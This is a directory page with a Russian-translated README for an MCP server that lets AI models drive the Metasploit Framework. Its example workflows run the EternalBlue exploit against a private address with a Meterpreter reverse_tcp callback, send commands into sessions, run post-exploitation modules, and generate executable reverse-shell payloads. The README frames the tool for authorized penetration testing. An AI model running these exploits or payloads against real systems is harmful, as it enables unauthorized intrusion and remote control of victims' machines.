Skip to main content
Glama

Metasploit MCP Server

by GH05TCREW

Metasploit MCP-сервер

Сервер Model Context Protocol (MCP) для интеграции Metasploit Framework.

https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1

Описание

Этот сервер MCP обеспечивает мост между большими языковыми моделями, такими как Claude, и платформой тестирования на проникновение Metasploit Framework. Он позволяет помощникам ИИ динамически получать доступ и управлять функциональностью Metasploit с помощью стандартизированных инструментов, обеспечивая интерфейс на естественном языке для сложных рабочих процессов тестирования безопасности.

Функции

Информация о модуле

  • list_exploits : Поиск и составление списка доступных модулей эксплойтов Metasploit
  • list_payloads : Поиск и составление списка доступных модулей полезной нагрузки Metasploit с дополнительной фильтрацией по платформам и архитектурам

Рабочий процесс эксплуатации

  • run_exploit : настроить и выполнить эксплойт против цели с возможностью предварительного запуска проверок
  • run_auxiliary_module : запуск любого вспомогательного модуля Metasploit с пользовательскими параметрами
  • run_post_module : Выполнение модулей пост-эксплуатации для существующих сеансов

Генерация полезной нагрузки

  • generate_payload : Генерация файлов полезной нагрузки с помощью Metasploit RPC (сохраняет файлы локально)

Управление сеансом

  • list_active_sessions : Показать текущие сеансы Metasploit с подробной информацией
  • send_session_command : запуск команды в активной оболочке или сеансе Meterpreter
  • terminate_session : Принудительно завершить активный сеанс

Управление обработчиками

  • list_listeners : Показать все активные обработчики и фоновые задания
  • start_listener : создать новый multi/handler для приема подключений
  • stop_job : завершить любое запущенное задание или обработчик

Предпосылки

  • Metasploit Framework установлен и msfrpcd запущен
  • Python 3.10 или выше
  • Необходимые пакеты Python (см. requirements.txt)

Установка

  1. Клонировать этот репозиторий
  2. Установить зависимости:
    pip install -r requirements.txt
  3. Настройте переменные среды (необязательно):
    MSF_PASSWORD=yourpassword MSF_SERVER=127.0.0.1 MSF_PORT=55553 MSF_SSL=false PAYLOAD_SAVE_DIR=/path/to/save/payloads # Optional: Where to save generated payloads

Использование

Запустите службу Metasploit RPC:

msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553

Варианты транспорта

Сервер поддерживает два метода транспортировки:

  • HTTP/SSE (события, отправленные сервером) : режим по умолчанию для взаимодействия с большинством клиентов MCP
  • STDIO (стандартный ввод/вывод) : используется с Claude Desktop и аналогичными прямыми трубными соединениями.

Вы можете явно выбрать режим транспорта с помощью флага --transport :

# Run with HTTP/SSE transport (default) python MetasploitMCP.py --transport http # Run with STDIO transport python MetasploitMCP.py --transport stdio

Дополнительные параметры для режима HTTP:

python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085

Интеграция рабочего стола Клода

Для интеграции Claude Desktop настройте claude_desktop_config.json :

{ "mcpServers": { "metasploit": { "command": "uv", "args": [ "--directory", "C:\\path\\to\\MetasploitMCP", "run", "MetasploitMCP.py", "--transport", "stdio" ], "env": { "MSF_PASSWORD": "yourpassword" } } } }

Другие клиенты MCP

Для других клиентов MCP, использующих HTTP/SSE:

  1. Запустите сервер в режиме HTTP:
    python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
  2. Настройте свой клиент MCP для подключения к:
    • Конечная точка SSE: http://your-server-ip:8085/sse

Соображения безопасности

⚠️ ВАЖНОЕ ПРЕДУПРЕЖДЕНИЕ О БЕЗОПАСНОСТИ :

Этот инструмент обеспечивает прямой доступ к возможностям Metasploit Framework, которые включают мощные функции эксплуатации. Используйте ответственно и только в средах, где у вас есть явное разрешение на выполнение тестирования безопасности.

  • Всегда проверяйте и пересматривайте все команды перед выполнением.
  • Запускать только в отдельных тестовых средах или при наличии соответствующего разрешения.
  • Помните, что команды после эксплуатации могут привести к значительным изменениям в системе.

Примеры рабочих процессов

Базовая эксплуатация

  1. Список доступных эксплойтов: list_exploits("ms17_010")
  2. Выберите и запустите эксплойт: run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})
  3. Список сеансов: list_active_sessions()
  4. Выполнить команды: send_session_command(1, "whoami")

Пост-эксплуатация

  1. Запустить пост-модуль: run_post_module("windows/gather/enum_logged_on_users", 1)
  2. Отправка пользовательских команд: send_session_command(1, "sysinfo")
  3. Завершить по завершении: terminate_session(1)

Управление обработчиками

  1. Запустить прослушиватель: start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)
  2. Список активных обработчиков: list_listeners()
  3. Сгенерировать полезную нагрузку: generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})
  4. Остановить обработчик: stop_job(1)

Параметры конфигурации

Каталог сохранения полезной нагрузки

По умолчанию полезные данные, сгенерированные с помощью generate_payload сохраняются в каталоге payloads в вашей домашней папке ( ~/payloads или C:\Users\YourUsername\payloads ). Вы можете настроить это местоположение, установив переменную среды PAYLOAD_SAVE_DIR .

Установка переменной среды:

  • Windows (PowerShell) :
    $env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"
  • Windows (командная строка) :
    set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads
  • Linux/macOS :
    export PAYLOAD_SAVE_DIR=/custom/path/to/payloads
  • В конфигурации Claude Desktop :
    "env": { "MSF_PASSWORD": "yourpassword", "PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads" // Only add if you want to override the default }

Примечание: Если вы указываете пользовательский путь, убедитесь, что он существует или у приложения есть разрешение на его создание. Если путь недействителен, генерация полезной нагрузки может завершиться неудачей.

Лицензия

Апач 2.0

-
security - not tested
A
license - permissive license
-
quality - not tested

hybrid server

The server is able to function both locally and remotely, depending on the configuration or use case.

Обеспечивает связь между большими языковыми моделями и фреймворком Metasploit, позволяя помощникам с искусственным интеллектом получать доступ к функциям тестирования на проникновение и управлять ими с помощью естественного языка.

  1. Описание
    1. Функции
      1. Информация о модуле
      2. Рабочий процесс эксплуатации
      3. Генерация полезной нагрузки
      4. Управление сеансом
      5. Управление обработчиками
    2. Предпосылки
      1. Установка
        1. Использование
          1. Варианты транспорта
          2. Интеграция рабочего стола Клода
          3. Другие клиенты MCP
        2. Соображения безопасности
          1. Примеры рабочих процессов
            1. Базовая эксплуатация
            2. Пост-эксплуатация
            3. Управление обработчиками
          2. Параметры конфигурации
            1. Каталог сохранения полезной нагрузки
          3. Лицензия

            Related MCP Servers

            • -
              security
              F
              license
              -
              quality
              A demonstration server that allows large language models to perform penetration testing tasks autonomously by interfacing with the Mythic C2 framework.
              Last updated -
              11
              Python
              • Apple
            • -
              security
              F
              license
              -
              quality
              Enables AI assistants to interact with Metabase, providing access to dashboards, questions, databases, and tools for executing queries and viewing data through natural language.
              Last updated -
              JavaScript
              • Apple
            • A
              security
              F
              license
              A
              quality
              A Model Context Protocol server that allows AI assistants to execute and manage JMeter performance tests through natural language commands.
              Last updated -
              2
              10
              Python
            • -
              security
              -
              license
              -
              quality
              A module that enables AI assistants to access and utilize common penetration testing and security tools like Nmap and Metasploit through a simple interface.
              Last updated -
              Python
              GPL 3.0

            View all related MCP servers

            MCP directory API

            We provide all the information about MCP servers via our MCP API.

            curl -X GET 'https://glama.ai/api/mcp/v1/servers/GH05TCREW/MetasploitMCP'

            If you have feedback or need assistance with the MCP directory API, please join our Discord server